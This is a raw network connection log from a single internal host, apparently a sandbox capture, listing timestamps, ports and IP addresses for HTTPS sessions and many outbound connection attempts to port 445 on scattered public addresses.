Jul 20, 2022 19:30:45.761712074 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.761795998 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.762587070 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.762609005 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.850847006 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.850953102 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.856391907 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.856410027 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.856739044 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.857896090 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.857949018 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.857959986 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.858338118 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.885297060 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.885373116 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:45.885449886 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.885521889 CEST	50258	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:45.885546923 CEST	443	50258	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.306466103 CEST	50260	445	192.168.2.7	70.0.151.125
Jul 20, 2022 19:30:46.371337891 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.371373892 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.371474981 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.372205973 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.372224092 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.466085911 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.466236115 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.529366016 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.529398918 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.529726982 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.531013012 CEST	50262	445	192.168.2.7	24.76.21.181
Jul 20, 2022 19:30:46.596322060 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.648719072 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.661439896 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.661464930 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.661699057 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.662561893 CEST	50263	445	192.168.2.7	191.104.44.136
Jul 20, 2022 19:30:46.663254976 CEST	50264	445	192.168.2.7	97.70.115.32
Jul 20, 2022 19:30:46.663964987 CEST	50265	445	192.168.2.7	80.93.27.56
Jul 20, 2022 19:30:46.664696932 CEST	50266	445	192.168.2.7	129.235.201.106
Jul 20, 2022 19:30:46.665425062 CEST	50267	445	192.168.2.7	5.134.246.211
Jul 20, 2022 19:30:46.666291952 CEST	50268	445	192.168.2.7	42.140.171.1
Jul 20, 2022 19:30:46.667010069 CEST	50269	445	192.168.2.7	165.157.168.89
Jul 20, 2022 19:30:46.667732000 CEST	50270	445	192.168.2.7	104.110.172.141
Jul 20, 2022 19:30:46.668454885 CEST	50271	445	192.168.2.7	209.15.11.95
Jul 20, 2022 19:30:46.669188023 CEST	50272	445	192.168.2.7	159.225.88.218
Jul 20, 2022 19:30:46.670613050 CEST	50274	445	192.168.2.7	2.229.100.242
Jul 20, 2022 19:30:46.671336889 CEST	50275	445	192.168.2.7	90.8.36.205
Jul 20, 2022 19:30:46.678786039 CEST	50273	445	192.168.2.7	31.18.34.118
Jul 20, 2022 19:30:46.691504002 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.691647053 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.691714048 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.691998005 CEST	50261	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:46.692018032 CEST	443	50261	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:46.717086077 CEST	50276	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.769396067 CEST	50277	445	192.168.2.7	58.230.179.53
Jul 20, 2022 19:30:46.774966002 CEST	445	50276	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:46.775134087 CEST	50276	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.775304079 CEST	50276	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.778023958 CEST	50278	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.833411932 CEST	445	50276	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:46.833725929 CEST	445	50276	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:46.833955050 CEST	445	50278	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:46.834073067 CEST	50278	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.853277922 CEST	50278	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.909909964 CEST	445	50278	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:46.910145998 CEST	50278	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:46.957098007 CEST	80	49718	93.184.220.29	192.168.2.7
Jul 20, 2022 19:30:46.957232952 CEST	49718	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:30:46.971535921 CEST	445	50278	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:46.975150108 CEST	50278	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:47.031331062 CEST	445	50278	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:47.425831079 CEST	50279	445	192.168.2.7	90.157.176.106
Jul 20, 2022 19:30:47.592323065 CEST	80	49719	93.184.220.29	192.168.2.7
Jul 20, 2022 19:30:47.592500925 CEST	49719	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:30:47.644954920 CEST	50280	445	192.168.2.7	190.85.139.102
Jul 20, 2022 19:30:47.785212994 CEST	50281	445	192.168.2.7	97.212.174.187
Jul 20, 2022 19:30:47.785706997 CEST	50282	445	192.168.2.7	110.93.82.86
Jul 20, 2022 19:30:47.786194086 CEST	50283	445	192.168.2.7	31.166.187.149
Jul 20, 2022 19:30:47.786839962 CEST	50284	445	192.168.2.7	112.202.43.118
Jul 20, 2022 19:30:47.787318945 CEST	50285	445	192.168.2.7	125.155.168.58
Jul 20, 2022 19:30:47.787856102 CEST	50286	445	192.168.2.7	153.121.65.171
Jul 20, 2022 19:30:47.788379908 CEST	50287	445	192.168.2.7	216.225.12.76
Jul 20, 2022 19:30:47.788878918 CEST	50288	445	192.168.2.7	22.238.153.30
Jul 20, 2022 19:30:47.789335012 CEST	50289	445	192.168.2.7	55.82.225.23
Jul 20, 2022 19:30:47.789828062 CEST	50290	445	192.168.2.7	32.251.64.227
Jul 20, 2022 19:30:47.790584087 CEST	50291	445	192.168.2.7	166.129.164.144
Jul 20, 2022 19:30:47.791121960 CEST	50292	445	192.168.2.7	102.50.197.133
Jul 20, 2022 19:30:47.791620970 CEST	50293	445	192.168.2.7	149.55.145.58
Jul 20, 2022 19:30:47.859075069 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.859128952 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:47.859215021 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.859839916 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.859865904 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:47.895822048 CEST	50295	445	192.168.2.7	210.211.111.126
Jul 20, 2022 19:30:47.959429026 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.959474087 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:47.959553003 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.960268021 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.960284948 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:47.962264061 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:47.962390900 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.964462996 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:47.964487076 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.051729918 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.051862955 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.052839994 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.052859068 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.055041075 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.055068970 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.076710939 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.076750994 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.172642946 CEST	445	50295	210.211.111.126	192.168.2.7
Jul 20, 2022 19:30:48.251446962 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.251477957 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.251499891 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.251523018 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.251579046 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.251588106 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.251647949 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.252532005 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.252554893 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.252629042 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.252635956 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.252696037 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.277721882 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.277823925 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.277909040 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.277972937 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.288500071 CEST	50294	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.288530111 CEST	443	50294	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.290076971 CEST	50296	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:48.290107965 CEST	443	50296	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:48.319159985 CEST	50297	445	192.168.2.7	52.108.93.161
Jul 20, 2022 19:30:48.551316977 CEST	50298	445	192.168.2.7	76.127.179.55
Jul 20, 2022 19:30:48.690354109 CEST	50295	445	192.168.2.7	210.211.111.126
Jul 20, 2022 19:30:48.770582914 CEST	50299	445	192.168.2.7	170.92.60.137
Jul 20, 2022 19:30:48.958921909 CEST	50300	445	192.168.2.7	107.18.185.29
Jul 20, 2022 19:30:48.968048096 CEST	445	50295	210.211.111.126	192.168.2.7
Jul 20, 2022 19:30:48.970084906 CEST	50301	445	192.168.2.7	80.120.131.241
Jul 20, 2022 19:30:48.974106073 CEST	50302	445	192.168.2.7	83.168.24.184
Jul 20, 2022 19:30:48.977436066 CEST	50303	445	192.168.2.7	49.188.155.97
Jul 20, 2022 19:30:48.977571011 CEST	50304	445	192.168.2.7	44.213.6.46
Jul 20, 2022 19:30:48.977588892 CEST	50305	445	192.168.2.7	221.127.208.62
Jul 20, 2022 19:30:48.977710962 CEST	50307	445	192.168.2.7	54.98.127.155
Jul 20, 2022 19:30:48.977762938 CEST	50306	445	192.168.2.7	54.44.191.102
Jul 20, 2022 19:30:48.977845907 CEST	50308	445	192.168.2.7	168.11.2.50
Jul 20, 2022 19:30:48.977900982 CEST	50309	445	192.168.2.7	221.10.48.22
Jul 20, 2022 19:30:48.977971077 CEST	50310	445	192.168.2.7	186.162.170.169
Jul 20, 2022 19:30:48.977982044 CEST	50311	445	192.168.2.7	8.182.80.140
Jul 20, 2022 19:30:48.978089094 CEST	50312	445	192.168.2.7	3.227.142.86
Jul 20, 2022 19:30:49.003274918 CEST	445	50301	80.120.131.241	192.168.2.7
Jul 20, 2022 19:30:49.034848928 CEST	50313	445	192.168.2.7	202.251.37.31
Jul 20, 2022 19:30:49.192292929 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.192328930 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.193017006 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.193876028 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.193898916 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.288713932 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.288876057 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.310966969 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.310986996 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.311381102 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.313817024 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.313929081 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.313937902 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.314121962 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.342257023 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.342355013 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.342436075 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.342613935 CEST	50314	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:49.342628956 CEST	443	50314	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:49.441087961 CEST	50315	445	192.168.2.7	203.246.132.86
Jul 20, 2022 19:30:49.580949068 CEST	50301	445	192.168.2.7	80.120.131.241
Jul 20, 2022 19:30:49.611804962 CEST	445	50301	80.120.131.241	192.168.2.7
Jul 20, 2022 19:30:49.675635099 CEST	50316	445	192.168.2.7	114.237.17.170
Jul 20, 2022 19:30:49.895885944 CEST	50317	445	192.168.2.7	188.66.17.12
Jul 20, 2022 19:30:50.046062946 CEST	50318	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:50.068165064 CEST	50319	445	192.168.2.7	35.199.132.137
Jul 20, 2022 19:30:50.068969965 CEST	50320	445	192.168.2.7	112.6.76.43
Jul 20, 2022 19:30:50.099986076 CEST	50321	445	192.168.2.7	125.79.159.37
Jul 20, 2022 19:30:50.101170063 CEST	50322	445	192.168.2.7	36.127.156.235
Jul 20, 2022 19:30:50.101983070 CEST	445	50318	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:50.102092981 CEST	50318	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:50.102304935 CEST	50318	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:50.102421999 CEST	50323	445	192.168.2.7	116.41.204.43
Jul 20, 2022 19:30:50.103178978 CEST	50324	445	192.168.2.7	192.185.17.213
Jul 20, 2022 19:30:50.103862047 CEST	50325	445	192.168.2.7	137.38.77.21
Jul 20, 2022 19:30:50.104563951 CEST	50326	445	192.168.2.7	63.186.93.216
Jul 20, 2022 19:30:50.105232000 CEST	50327	445	192.168.2.7	38.119.137.100
Jul 20, 2022 19:30:50.105926037 CEST	50328	445	192.168.2.7	148.0.173.107
Jul 20, 2022 19:30:50.107325077 CEST	50330	445	192.168.2.7	13.144.111.135
Jul 20, 2022 19:30:50.108025074 CEST	50331	445	192.168.2.7	161.94.146.150
Jul 20, 2022 19:30:50.108495951 CEST	50329	445	192.168.2.7	27.152.14.242
Jul 20, 2022 19:30:50.158775091 CEST	445	50318	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:50.159270048 CEST	50318	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:50.160156965 CEST	50332	445	192.168.2.7	50.218.154.27
Jul 20, 2022 19:30:50.215768099 CEST	445	50318	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:50.215976000 CEST	50318	445	192.168.2.7	213.142.151.2
Jul 20, 2022 19:30:50.272757053 CEST	445	50318	213.142.151.2	192.168.2.7
Jul 20, 2022 19:30:50.274884939 CEST	445	50324	192.185.17.213	192.168.2.7
Jul 20, 2022 19:30:50.332297087 CEST	50333	445	192.168.2.7	213.142.151.3
Jul 20, 2022 19:30:50.335745096 CEST	50334	445	192.168.2.7	196.220.60.102
Jul 20, 2022 19:30:50.567274094 CEST	50335	445	192.168.2.7	73.119.55.72
Jul 20, 2022 19:30:50.801954031 CEST	50336	445	192.168.2.7	181.230.69.84
Jul 20, 2022 19:30:50.909248114 CEST	50324	445	192.168.2.7	192.185.17.213
Jul 20, 2022 19:30:51.067589998 CEST	50337	445	192.168.2.7	17.119.128.15
Jul 20, 2022 19:30:51.088593006 CEST	445	50324	192.185.17.213	192.168.2.7
Jul 20, 2022 19:30:51.191365004 CEST	50338	445	192.168.2.7	133.146.79.120
Jul 20, 2022 19:30:51.191400051 CEST	50339	445	192.168.2.7	194.65.140.182
Jul 20, 2022 19:30:51.260054111 CEST	50340	445	192.168.2.7	48.29.24.99
Jul 20, 2022 19:30:51.260796070 CEST	50341	445	192.168.2.7	94.29.88.201
Jul 20, 2022 19:30:51.261740923 CEST	50342	445	192.168.2.7	27.146.11.85
Jul 20, 2022 19:30:51.265381098 CEST	50343	445	192.168.2.7	37.112.182.62
Jul 20, 2022 19:30:51.265439034 CEST	50344	445	192.168.2.7	139.168.194.200
Jul 20, 2022 19:30:51.265546083 CEST	50346	445	192.168.2.7	96.156.103.158
Jul 20, 2022 19:30:51.265547991 CEST	50345	445	192.168.2.7	193.163.30.125
Jul 20, 2022 19:30:51.265664101 CEST	50347	445	192.168.2.7	101.140.251.67
Jul 20, 2022 19:30:51.265707016 CEST	50348	445	192.168.2.7	49.251.42.116
Jul 20, 2022 19:30:51.265778065 CEST	50349	445	192.168.2.7	88.87.51.151
Jul 20, 2022 19:30:51.265898943 CEST	50350	445	192.168.2.7	177.110.74.182
Jul 20, 2022 19:30:51.285470963 CEST	50351	445	192.168.2.7	195.78.87.30
Jul 20, 2022 19:30:51.410618067 CEST	50352	445	192.168.2.7	213.142.151.4
Jul 20, 2022 19:30:51.457843065 CEST	50353	445	192.168.2.7	148.7.172.16
Jul 20, 2022 19:30:51.692157984 CEST	50354	445	192.168.2.7	130.63.233.192
Jul 20, 2022 19:30:51.927242041 CEST	50355	445	192.168.2.7	63.96.66.191
Jul 20, 2022 19:30:52.191287994 CEST	50356	445	192.168.2.7	191.197.42.162
Jul 20, 2022 19:30:52.316740990 CEST	50357	445	192.168.2.7	128.182.21.196
Jul 20, 2022 19:30:52.317056894 CEST	50358	445	192.168.2.7	50.169.131.204
Jul 20, 2022 19:30:52.357368946 CEST	50359	445	192.168.2.7	172.17.33.138
Jul 20, 2022 19:30:52.379787922 CEST	50360	445	192.168.2.7	47.172.136.110
Jul 20, 2022 19:30:52.380757093 CEST	50361	445	192.168.2.7	46.64.24.15
Jul 20, 2022 19:30:52.381464005 CEST	50362	445	192.168.2.7	132.160.243.136
Jul 20, 2022 19:30:52.391490936 CEST	50363	445	192.168.2.7	90.109.100.222
Jul 20, 2022 19:30:52.392318964 CEST	50364	445	192.168.2.7	45.236.115.210
Jul 20, 2022 19:30:52.392426014 CEST	50365	445	192.168.2.7	211.111.64.114
Jul 20, 2022 19:30:52.392551899 CEST	50366	445	192.168.2.7	59.179.174.56
Jul 20, 2022 19:30:52.392651081 CEST	50367	445	192.168.2.7	112.31.11.124
Jul 20, 2022 19:30:52.392745018 CEST	50368	445	192.168.2.7	181.203.99.184
Jul 20, 2022 19:30:52.392843008 CEST	50369	445	192.168.2.7	200.83.161.49
Jul 20, 2022 19:30:52.392947912 CEST	50370	445	192.168.2.7	25.191.16.124
Jul 20, 2022 19:30:52.413863897 CEST	50371	445	192.168.2.7	178.93.113.244
Jul 20, 2022 19:30:52.489918947 CEST	50372	445	192.168.2.7	213.142.151.5
Jul 20, 2022 19:30:52.514602900 CEST	445	50356	191.197.42.162	192.168.2.7
Jul 20, 2022 19:30:52.582134962 CEST	50373	445	192.168.2.7	37.140.232.100
Jul 20, 2022 19:30:52.834882021 CEST	50374	445	192.168.2.7	49.6.75.210
Jul 20, 2022 19:30:53.050718069 CEST	50375	445	192.168.2.7	54.25.45.46
Jul 20, 2022 19:30:53.081213951 CEST	50356	445	192.168.2.7	191.197.42.162
Jul 20, 2022 19:30:53.356791019 CEST	50376	445	192.168.2.7	22.25.68.18
Jul 20, 2022 19:30:53.394526958 CEST	445	50356	191.197.42.162	192.168.2.7
Jul 20, 2022 19:30:53.457360983 CEST	50377	445	192.168.2.7	118.37.54.119
Jul 20, 2022 19:30:53.458158016 CEST	50378	445	192.168.2.7	222.170.226.146
Jul 20, 2022 19:30:53.477718115 CEST	50379	445	192.168.2.7	187.118.186.93
Jul 20, 2022 19:30:53.505430937 CEST	50380	445	192.168.2.7	58.50.162.182
Jul 20, 2022 19:30:53.506057024 CEST	50381	445	192.168.2.7	11.43.244.110
Jul 20, 2022 19:30:53.517430067 CEST	50382	445	192.168.2.7	50.205.65.245
Jul 20, 2022 19:30:53.517664909 CEST	50383	445	192.168.2.7	171.198.107.130
Jul 20, 2022 19:30:53.517724037 CEST	50384	445	192.168.2.7	100.138.247.51
Jul 20, 2022 19:30:53.517813921 CEST	50385	445	192.168.2.7	222.203.132.11
Jul 20, 2022 19:30:53.517827034 CEST	50386	445	192.168.2.7	79.21.214.171
Jul 20, 2022 19:30:53.517915964 CEST	50387	445	192.168.2.7	55.32.235.129
Jul 20, 2022 19:30:53.517977953 CEST	50388	445	192.168.2.7	85.230.193.177
Jul 20, 2022 19:30:53.518029928 CEST	50389	445	192.168.2.7	117.37.107.241
Jul 20, 2022 19:30:53.518088102 CEST	50390	445	192.168.2.7	49.19.11.182
Jul 20, 2022 19:30:53.535058022 CEST	50391	445	192.168.2.7	218.96.51.225
Jul 20, 2022 19:30:53.573544979 CEST	50392	445	192.168.2.7	213.142.151.6
Jul 20, 2022 19:30:53.707093000 CEST	50393	445	192.168.2.7	170.242.233.80
Jul 20, 2022 19:30:53.788434029 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.788496017 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.788583040 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.789448023 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.789464951 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.881247044 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.881407976 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.885622978 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.885642052 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.885993958 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.890045881 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.890079975 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.890091896 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.890228987 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.919583082 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.919708014 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.919804096 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.919945002 CEST	50394	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:30:53.919964075 CEST	443	50394	20.199.120.85	192.168.2.7
Jul 20, 2022 19:30:53.957075119 CEST	50395	445	192.168.2.7	195.117.18.72
Jul 20, 2022 19:30:54.161387920 CEST	50396	445	192.168.2.7	22.33.151.110
Jul 20, 2022 19:30:54.378668070 CEST	50397	445	192.168.2.7	212.201.37.132
Jul 20, 2022 19:30:54.458708048 CEST	50398	445	192.168.2.7	141.87.204.224
Jul 20, 2022 19:30:54.598031044 CEST	50399	445	192.168.2.7	180.106.30.123
Jul 20, 2022 19:30:54.598826885 CEST	50400	445	192.168.2.7	182.70.19.138
Jul 20, 2022 19:30:54.599610090 CEST	50401	445	192.168.2.7	6.217.119.67
Jul 20, 2022 19:30:54.629997969 CEST	50402	445	192.168.2.7	82.36.94.193
Jul 20, 2022 19:30:54.630968094 CEST	50403	445	192.168.2.7	142.155.83.86
Jul 20, 2022 19:30:54.631648064 CEST	50404	445	192.168.2.7	87.254.190.33
Jul 20, 2022 19:30:54.632334948 CEST	50405	445	192.168.2.7	199.82.81.126
Jul 20, 2022 19:30:54.633012056 CEST	50406	445	192.168.2.7	41.254.165.10
Jul 20, 2022 19:30:54.634010077 CEST	50407	445	192.168.2.7	192.167.90.195
Jul 20, 2022 19:30:54.634843111 CEST	50408	445	192.168.2.7	43.238.24.200
Jul 20, 2022 19:30:54.635575056 CEST	50409	445	192.168.2.7	123.120.205.234
Jul 20, 2022 19:30:54.636269093 CEST	50410	445	192.168.2.7	142.195.215.167
Jul 20, 2022 19:30:54.636949062 CEST	50411	445	192.168.2.7	54.236.11.100
Jul 20, 2022 19:30:54.637620926 CEST	50412	445	192.168.2.7	112.225.156.139
Jul 20, 2022 19:30:54.660388947 CEST	50413	445	192.168.2.7	136.235.107.227
Jul 20, 2022 19:30:54.661354065 CEST	50414	445	192.168.2.7	213.142.151.7
Jul 20, 2022 19:30:54.682246923 CEST	445	50404	87.254.190.33	192.168.2.7
Jul 20, 2022 19:30:54.757435083 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.757469893 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.757584095 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.758462906 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.758476019 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.835663080 CEST	50416	445	192.168.2.7	13.197.85.64
Jul 20, 2022 19:30:54.853045940 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.853135109 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.853816032 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.853823900 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.856545925 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.856554985 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.988702059 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.988733053 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.988811970 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:54.988837004 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.988879919 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.989438057 CEST	50415	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:54.989449978 CEST	443	50415	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:55.082209110 CEST	50417	445	192.168.2.7	189.152.7.101
Jul 20, 2022 19:30:55.190804005 CEST	50404	445	192.168.2.7	87.254.190.33
Jul 20, 2022 19:30:55.239412069 CEST	445	50404	87.254.190.33	192.168.2.7
Jul 20, 2022 19:30:55.304467916 CEST	50418	445	192.168.2.7	84.252.89.252
Jul 20, 2022 19:30:55.556061029 CEST	50419	445	192.168.2.7	217.37.143.30
Jul 20, 2022 19:30:55.645988941 CEST	50420	445	192.168.2.7	65.157.80.3
Jul 20, 2022 19:30:55.744781017 CEST	50421	445	192.168.2.7	213.142.151.8
Jul 20, 2022 19:30:55.754301071 CEST	50422	445	192.168.2.7	141.105.133.64
